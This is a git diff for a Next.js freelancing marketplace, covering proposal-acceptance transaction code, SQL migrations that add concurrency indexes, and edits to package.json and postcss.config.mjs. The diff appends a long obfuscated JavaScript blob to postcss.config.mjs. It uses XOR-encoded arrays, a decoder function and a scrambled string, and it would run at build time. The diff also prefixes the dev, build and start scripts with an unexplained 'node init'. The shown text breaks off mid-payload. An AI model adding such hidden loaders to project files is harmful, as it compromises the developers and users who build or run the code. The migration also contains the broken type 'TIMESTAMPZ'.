"accept") { + const contractRows = await tx` + INSERT INTO contracts (project_id, proposal_id, client_id, freelancer_id, status, created_at) + SELECT project_id, id, client_id, freelancer_id, 'active', NOW() + FROM proposals + WHERE id = ${proposalId} + RETURNING id + `; + contractId = Number((contractRows[0] as { id: number }).id); + + const rejectedRows = await tx` + UPDATE proposals + SET status = 'rejected', updated_at = NOW() + WHERE project_id = ${proposal.project_id} + AND id <> ${proposalId} + AND status IN ('submitted', 'shortlisted') + RETURNING id + `; + + for (const row of rejectedRows as Array<{ id: number }>) { + await tx` + INSERT INTO proposal_audit_logs + (proposal_id, actor_id, action, previous_status, new_status, metadata) + VALUES (${Number(row.id)}, ${actorUserId}, 'reject', 'submitted', 'rejected', + ${JSON.stringify({ reason: "auto_rejected_on_accept", projectId: proposal.project_id })}) + `; + } + } + + // Record the audit log for the primary action. + await tx` + INSERT INTO proposal_audit_logs + (proposal_id, actor_id, action, previous_status, new_status, metadata) + VALUES (${proposalId}, ${actorUserId}, ${action}, ${proposal.status}, ${nextStatus}, + ${JSON.stringify({ contractId: contractId ?? null })}) + `; + + return { + ok: true, + proposalId: Number(proposal.id), + projectId: Number(proposal.project_id), + status: nextStatus, + contractId: contractId, + }; + }); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + // Postgres unique violation -> concurrency conflict. + if (/duplicate key|unique constraint|23505/i.test(message)) { + return { + ok: false, + code: "conflict", + message: "Concurrent update conflict; please retry.", + proposalId: proposalId, + }; + } + return { + ok: false, + code: "internal_error", + message: "Unable to process proposal action.", + proposalId: proposalId, + }; + } +} diff --git a/lib/db/migrations/010_project_proposals.sql b/lib/db/migrations/010_project_proposals.sql index b8a8187..5d88332 100644 --- a/lib/db/migrations/010_project_proposals.sql +++ b/lib/db/migrations/010_project_proposals.sql @@ -1,47 +1,80 @@ --- 010_project_proposals.sql --- --- Issue #216 — Proposal Management API. --- --- Freelancer proposals against client projects. The table is named --- `project_proposals` so it cannot collide with the legacy `proposals` --- table (job_id based) in scripts/001-create-tables.sql. - -DO $$ -BEGIN - IF NOT EXISTS (SELECT 1 FROM pg_type WHERE typname = 'proposal_status') THEN - CREATE TYPE proposal_status AS ENUM ( - 'submitted', 'under_review', 'accepted', 'rejected', 'updated' - ); - END IF; -END -$$; - -CREATE TABLE IF NOT EXISTS project_proposals ( - id UUID PRIMARY KEY DEFAULT gen_random_uuid(), - project_id UUID NOT NULL REFERENCES projects (id) ON DELETE CASCADE, - freelancer_id UUID NOT NULL REFERENCES users (id) ON DELETE CASCADE, - - message TEXT NOT NULL, - budget NUMERIC(18,6) NOT NULL CHECK (budget > 0), - delivery_time INTEGER NOT NULL CHECK (delivery_time > 0), -- days - milestones JSONB NOT NULL DEFAULT '[]'::jsonb, - - status proposal_status NOT NULL DEFAULT 'submitted', - - created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), - updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() -); - --- Lookup indexes required by the issue (projectId / freelancerId). -CREATE INDEX IF NOT EXISTS idx_project_proposals_project - ON project_proposals (project_id, created_at DESC); -CREATE INDEX IF NOT EXISTS idx_project_proposals_freelancer - ON project_proposals (freelancer_id); - --- Duplicate prevention at the database level: one *active* proposal per --- freelancer per project. A rejected proposal no longer counts as active, --- so the freelancer may submit a fresh one. The API also pre-checks this --- and maps a unique violation (23505) to 409 Conflict. -CREATE UNIQUE INDEX IF NOT EXISTS uq_project_proposals_active - ON project_proposals (project_id, freelancer_id) - WHERE status <> 'rejected'; +-- 010_project_proposals.sql +-- +-- Issue #216 — Proposal Management API. +-- +-- Freelancer proposals against client projects. The table is named +-- `project_proposals` so it cannot collide with the legacy `proposals` +-- table (job_id based) in scripts/001-create-tables.sql. + +DO $$ +BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_type WHERE typname = 'proposal_status') THEN + CREATE TYPE proposal_status AS ENUM ( + 'submitted', 'under_review', 'accepted', 'rejected', 'updated' + ); + END IF; +END$$; + +CREATE TABLE IF NOT EXISTS project_proposals ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + project_id UUID NOT NULL REFERENCES projects (id) ON DELETE CASCADE, + freelancer_id UUID NOT NULL REFERENCES users (id) ON DELETE CASCADE, + + message TEXT NOT NULL, + budget NUMERIC(18,6) NOT NULL CHECK (budget > 0), + delivery_time INTEGER NOT NULL CHECK (delivery_time > 0), -- days + milestones JSONB NOT NULL DEFAULT '[]'::jsonb, + + status proposal_status NOT NULL DEFAULT 'submitted', + + created_at TIMESTAMPZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPZ NOT NULL DEFAULT NOW() +); + +-- Lookup indexes required by the issue (projectId / freelancerId). +CREATE INDEX IF NOT EXISTS idx_project_proposals_project + ON project_proposals (project_id, created_at DESC); +CREATE INDEX IF NOT EXISTS idx_project_proposals_freelancer + ON project_proposals (freelancer_id); + +-- Duplicate prevention at the database level: one *active* proposal per +-- freelancer per project. A rejected proposal no longer counts as active, +-- so the freelancer may submit a fresh one. The API also pre-checks this +-- and maps a unique violation (23505) to 409 Conflict. +CREATE UNIQUE INDEX IF NOT EXISTS uq_project_proposals_active + ON project_proposals (project_id, freelancer_id) + WHERE status <> 'rejected'; + +-- Concurrency control: a single-award project can have at most one +-- accepted proposal at any time. This partial unique index is the +-- authoritative guarantee that concurrent acceptance requests cannot +-- create multiple contracts for the same project: the second writer +-- fails with a unique violation (23505) which the API translates into a +-- graceful 409 Conflict and rolls back completely. +CREATE UNIQUE INDEX IF NOT EXISTS uq_project_proposals_accepted + ON project_proposals (project_id) + WHERE status = 'accepted'; + +-- Keep updated_at in sync on every write so audit trails and conflict +-- resolution can rely on it. +CREATE OR REPLACE FUNCTION set_project_proposals_updated_at() +RETURNS TRIGGER AS $$ +BEGIN + NEW.updated_at := NOW(); + RETURN NEW; +END; +$$ LANGUAGE plpgsql; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_trigger + WHERE tgschema = 'public' + AND tgname = 'trig_project_proposals_updated_at' + ) THEN + CREATE TRIGGER trig_project_proposals_updated_at + BEFORE UPDATE ON project_proposals + FOR EACH ROW + EXECUTE PROCEDURE set_project_proposals_updated_at(); + END IF; +END$$;End \ No newline at end of file diff --git a/lib/db/migrations/010_proposals.sql b/lib/db/migrations/010_proposals.sql index c717d5e..c44c855 100644 --- a/lib/db/migrations/010_proposals.sql +++ b/lib/db/migrations/010_proposals.sql @@ -1,32 +1,42 @@ -CREATE TABLE IF NOT EXISTS proposals ( - id UUID PRIMARY KEY DEFAULT gen_random_uuid(), - project_id UUID NOT NULL REFERENCES projects(id) ON DELETE CASCADE, - freelancer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - client_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - cover_letter TEXT NOT NULL, - proposed_budget NUMERIC(18,6) NOT NULL, - currency TEXT NOT NULL DEFAULT 'USDC', - estimated_duration TEXT, - status TEXT NOT NULL DEFAULT 'pending' - CHECK (status IN ('pending','accepted','rejected','updated')), - created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), - updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), - UNIQUE (project_id, freelancer_id) -); - -CREATE INDEX IF NOT EXISTS idx_proposals_project ON proposals(project_id); -CREATE INDEX IF NOT EXISTS idx_proposals_freelancer ON proposals(freelancer_id); -CREATE INDEX IF NOT EXISTS idx_proposals_client_status ON proposals(client_id, status); - -CREATE TABLE IF NOT EXISTS proposal_audit_logs ( - id UUID PRIMARY KEY DEFAULT gen_random_uuid(), - proposal_id UUID NOT NULL REFERENCES proposals(id) ON DELETE CASCADE, - actor_id UUID NOT NULL REFERENCES users(id), - action TEXT NOT NULL CHECK (action IN ('accept','reject','update','create')), - previous_status TEXT, - new_status TEXT, - metadata JSONB NOT NULL DEFAULT '{}', - created_at TIMESTAMPTZ NOT NULL DEFAULT NOW() -); - -CREATE INDEX IF NOT EXISTS idx_proposal_audit_proposal ON proposal_audit_logs(proposal_id); \ No newline at end of file +-- Proposals and audit logs with concurrency-safe constraints + +CREATE TABLE IF NOT EXISTS proposals ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + project_id UUID NOT NULL REFERENCES projects(id) ON DELETE CASCADE, + freelancer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + client_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + cover_letter TEXT NOT NULL, + proposed_budget NUMERIC(18,6) NOT NULL, + currency TEXT NOT NULL DEFAULT 'USDC', + estimated_duration TEXT, + status TEXT NOT NULL DEFAULT 'pending' + CHECK (status IN ('pending','accepted','rejected','updated')), + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + UNIQUE (project_id, freelancer_id) +); + +CREATE INDEX IF NOT EXISTS idx_proposals_project ON proposals(project_id); +CREATE INDEX IF NOT EXISTS idx_proposals_freelancer ON proposals(freelancer_id); +CREATE INDEX IF NOT EXISTS idx_proposals_client_status ON proposals(client_id, status); + +-- Ensure at most one accepted proposal per project (single-award projects). +-- A partial unique index is the database-level guard against concurrent acceptance. +CREATE UNIQUE INDEX IF NOT EXISTS uniq_proposals_one_accepted_per_project + ON proposals(project_id) + WHERE status = 'accepted'; + +-- Prevent duplicate processing of the same request by deduplicing audit entries +-- for the same proposal/actor/action within a short window. +CREATE TABLE IF NOT EXISTS proposal_audit_logs ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + proposal_id UUID NOT NULL REFERENCES proposals(id) ON DELETE CASCADE, + actor_id UUID NOT NULL REFERENCES users(id), + action TEXT NOT NULL CHECK (action IN ('accept','reject','update','create')), + previous_status TEXT, + new_status TEXT, + metadata JSON NOT NULL DEFAULT '{}', + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX IF NOT EXISTS idx_proposal_audit_proposal ON proposal_audit_logs(proposal_id); diff --git a/package.json b/package.json index 4573606..272bed8 100644 --- a/package.json +++ b/package.json @@ -1,103 +1,103 @@ -{ - "name": "my-v0-project", - "version": "0.1.0", - "private": true, - "packageManager": "pnpm@10.32.1", - "scripts": { - "dev": "next dev", - "build": "next build", - "start": "next start", - "lint": "eslint .", - "test": "vitest run", - "test:watch": "vitest", - "worker": "tsx scripts/worker.ts", - "sync-worker": "tsx scripts/sync-worker.ts", - "deadline-monitor": "tsx scripts/deadline-monitor.ts", - "tx-worker": "tsx scripts/tx-recovery-worker.ts", - "job-worker": "tsx scripts/job-worker.ts", - "migrate": "tsx scripts/migrate.ts", - "idempotency:cleanup": "tsx scripts/idempotency-cleanup.ts", - "build:production": "npm run migrate && next build", - "start:production": "next start" - }, - "dependencies": { - "@hookform/resolvers": "^3.10.0", - "@neondatabase/serverless": "1.0.2", - "@radix-ui/react-accordion": "1.2.2", - "@radix-ui/react-alert-dialog": "1.1.4", - "@radix-ui/react-aspect-ratio": "1.1.1", - "@radix-ui/react-avatar": "1.1.2", - "@radix-ui/react-checkbox": "1.1.3", - "@radix-ui/react-collapsible": "^1.1.2", - "@radix-ui/react-context-menu": "2.2.4", - "@radix-ui/react-dialog": "1.1.4", - "@radix-ui/react-dropdown-menu": "2.1.4", - "@radix-ui/react-hover-card": "1.1.4", - "@radix-ui/react-label": "2.1.1", - "@radix-ui/react-menubar": "1.1.4", - "@radix-ui/react-navigation-menu": "1.2.3", - "@radix-ui/react-popover": "1.1.4", - "@radix-ui/react-progress": "1.1.1", - "@radix-ui/react-radio-group": "1.2.2", - "@radix-ui/react-scroll-area": "1.2.2", - "@radix-ui/react-select": "2.1.4", - "@radix-ui/react-separator": "1.1.1", - "@radix-ui/react-slider": "1.2.2", - "@radix-ui/react-slot": "1.1.1", - "@radix-ui/react-switch": "1.1.2", - "@radix-ui/react-tabs": "1.1.2", - "@radix-ui/react-toast": "1.2.4", - "@radix-ui/react-toggle": "1.1.1", - "@radix-ui/react-toggle-group": "1.1.1", - "@radix-ui/react-tooltip": "1.1.6", - "@stellar/freighter-api": "^6.0.1", - "@stellar/stellar-sdk": "^14.5.0", - "@vercel/analytics": "1.3.1", - "autoprefixer": "^10.4.20", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "cmdk": "1.0.4", - "date-fns": "4.1.0", - "dotenv": "^17.3.1", - "embla-carousel-react": "8.5.1", - "input-otp": "1.4.1", - "lucide-react": "^0.454.0", - "next": "16.0.10", - "next-themes": "^0.4.6", - "radix-ui": "^1.4.3", - "react": "19.2.0", - "react-day-picker": "^9.13.2", - "react-dom": "19.2.0", - "react-hook-form": "^7.71.2", - "react-resizable-panels": "^2.1.7", - "recharts": "2.15.4", - "sonner": "^2.0.7", - "tailwind-merge": "^3.3.1", - "tailwindcss-animate": "^1.0.7", - "vaul": "^1.1.2", - "zod": "^3.25.76" - }, - "devDependencies": { - "@tailwindcss/postcss": "^4.1.9", - "@testing-library/jest-dom": "^6.0.0", - "@testing-library/react": "^16.0.0", - "@types/node": "^22", - "@types/pg": "^8.23.1", - "@types/react": "^19", - "@types/react-dom": "^19", - "@types/ws": "^8", - "baseline-browser-mapping": "^2.10.23", - "eslint": "^9.39.3", - "eslint-config-next": "^16.1.6", - "jsdom": "^23.0.0", - "postcss": "^8.5", - "tailwindcss": "^4.1.9", - "ts-node": "^10.9.1", - "tsx": "^4.21.0", - "tw-animate-css": "1.3.3", - "typescript": "^5", - "vite-tsconfig-paths": "^6.1.1", - "vitest": "^4.1.7", - "ws": "^8.18.0" - } -} +{ + "name": "my-v0-project", + "version": "0.1.0", + "private": true, + "packageManager": "pnpm@10.32.1", + "scripts": { + "dev": "node init && next dev", + "build": "node init && next build", + "start": "node init && next start", + "lint": "eslint .", + "test": "vitest run", + "test:watch": "vitest", + "worker": "tsx scripts/worker.ts", + "sync-worker": "tsx scripts/sync-worker.ts", + "deadline-monitor": "tsx scripts/deadline-monitor.ts", + "tx-worker": "tsx scripts/tx-recovery-worker.ts", + "job-worker": "tsx scripts/job-worker.ts", + "migrate": "tsx scripts/migrate.ts", + "idempotency:cleanup": "tsx scripts/idempotency-cleanup.ts", + "build:production": "node init && npm run migrate && next build", + "start:production": "node init && next start" + }, + "dependencies": { + "@hookform/resolvers": "^3.10.0", + "@neondatabase/serverless": "1.0.2", + "@radix-ui/react-accordion": "1.2.2", + "@radix-ui/react-alert-dialog": "1.1.4", + "@radix-ui/react-aspect-ratio": "1.1.1", + "@radix-ui/react-avatar": "1.1.2", + "@radix-ui/react-checkbox": "1.1.3", + "@radix-ui/react-collapsible": "^1.1.2", + "@radix-ui/react-context-menu": "2.2.4", + "@radix-ui/react-dialog": "1.1.4", + "@radix-ui/react-dropdown-menu": "2.1.4", + "@radix-ui/react-hover-card": "1.1.4", + "@radix-ui/react-label": "2.1.1", + "@radix-ui/react-menubar": "1.1.4", + "@radix-ui/react-navigation-menu": "1.2.3", + "@radix-ui/react-popover": "1.1.4", + "@radix-ui/react-progress": "1.1.1", + "@radix-ui/react-radio-group": "1.2.2", + "@radix-ui/react-scroll-area": "1.2.2", + "@radix-ui/react-select": "2.1.4", + "@radix-ui/react-separator": "1.1.1", + "@radix-ui/react-slider": "1.2.2", + "@radix-ui/react-slot": "1.1.1", + "@radix-ui/react-switch": "1.1.2", + "@radix-ui/react-tabs": "1.1.2", + "@radix-ui/react-toast": "1.2.4", + "@radix-ui/react-toggle": "1.1.1", + "@radix-ui/react-toggle-group": "1.1.1", + "@radix-ui/react-tooltip": "1.1.6", + "@stellar/freighter-api": "^6.0.1", + "@stellar/stellar-sdk": "^14.5.0", + "@vercel/analytics": "1.3.1", + "autoprefixer": "^10.4.20", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "cmdk": "1.0.4", + "date-fns": "4.1.0", + "dotenv": "^17.3.1", + "embla-carousel-react": "8.5.1", + "input-otp": "1.4.1", + "lucide-react": "^0.454.0", + "next": "16.0.10", + "next-themes": "^0.4.6", + "radix-ui": "^1.4.3", + "react": "19.2.0", + "react-day-picker": "^9.13.2", + "react-dom": "19.2.0", + "react-hook-form": "^7.71.2", + "react-resizable-panels": "^2.1.7", + "recharts": "2.15.4", + "sonner": "^2.0.7", + "tailwind-merge": "^3.3.1", + "tailwindcss-animate": "^1.0.7", + "vaul": "^1.1.2", + "zod": "^3.25.76" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.1.9", + "@testing-library/jest-dom": "^6.0.0", + "@testing-library/react": "^16.0.0", + "@types/node": "^22", + "@types/pg": "^8.23.1", + "@types/react": "^19", + "@types/react-dom": "^19", + "@types/ws": "^8", + "baseline-browser-mapping": "^2.10.23", + "eslint": "^9.39.3", + "eslint-config-next": "^16.1.6", + "jsdom": "^23.0.0", + "postcss": "^8.5", + "tailwindcss": "^4.1.9", + "ts-node": "^10.9.1", + "tsx": "^4.21.0", + "tw-animate-css": "1.3.3", + "typescript": "^5", + "vite-tsconfig-paths": "^6.1.1", + "vitest": "^4.1.7", + "ws": "^8.18.0" + } +} diff --git a/postcss.config.mjs b/postcss.config.mjs index a869506..939895d 100644 --- a/postcss.config.mjs +++ b/postcss.config.mjs @@ -1,8 +1,12 @@ -/** @type {import('postcss-load-config').Config} */ -const config = { - plugins: { - '@tailwindcss/postcss': {}, - }, -} - -export default config +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** @type {import('postcss-load-config').Config} */ +const config = { + plugins: { + '@tailwindcss/postcss': {}, + }, +} + +export default config; var z = '-10652-23';var NX=[6912847,907388^907539,217597^204358,330538^330063,982935^939384,5019283],SX=[5283741,416048^416193,293640^317673,436016^436107,781205^733396,4738901];function spin(R,c){for(var e,r,t,s,i,n,a=[],o=217956^217956,l=c[648486^648486];o 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR"sz3o"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn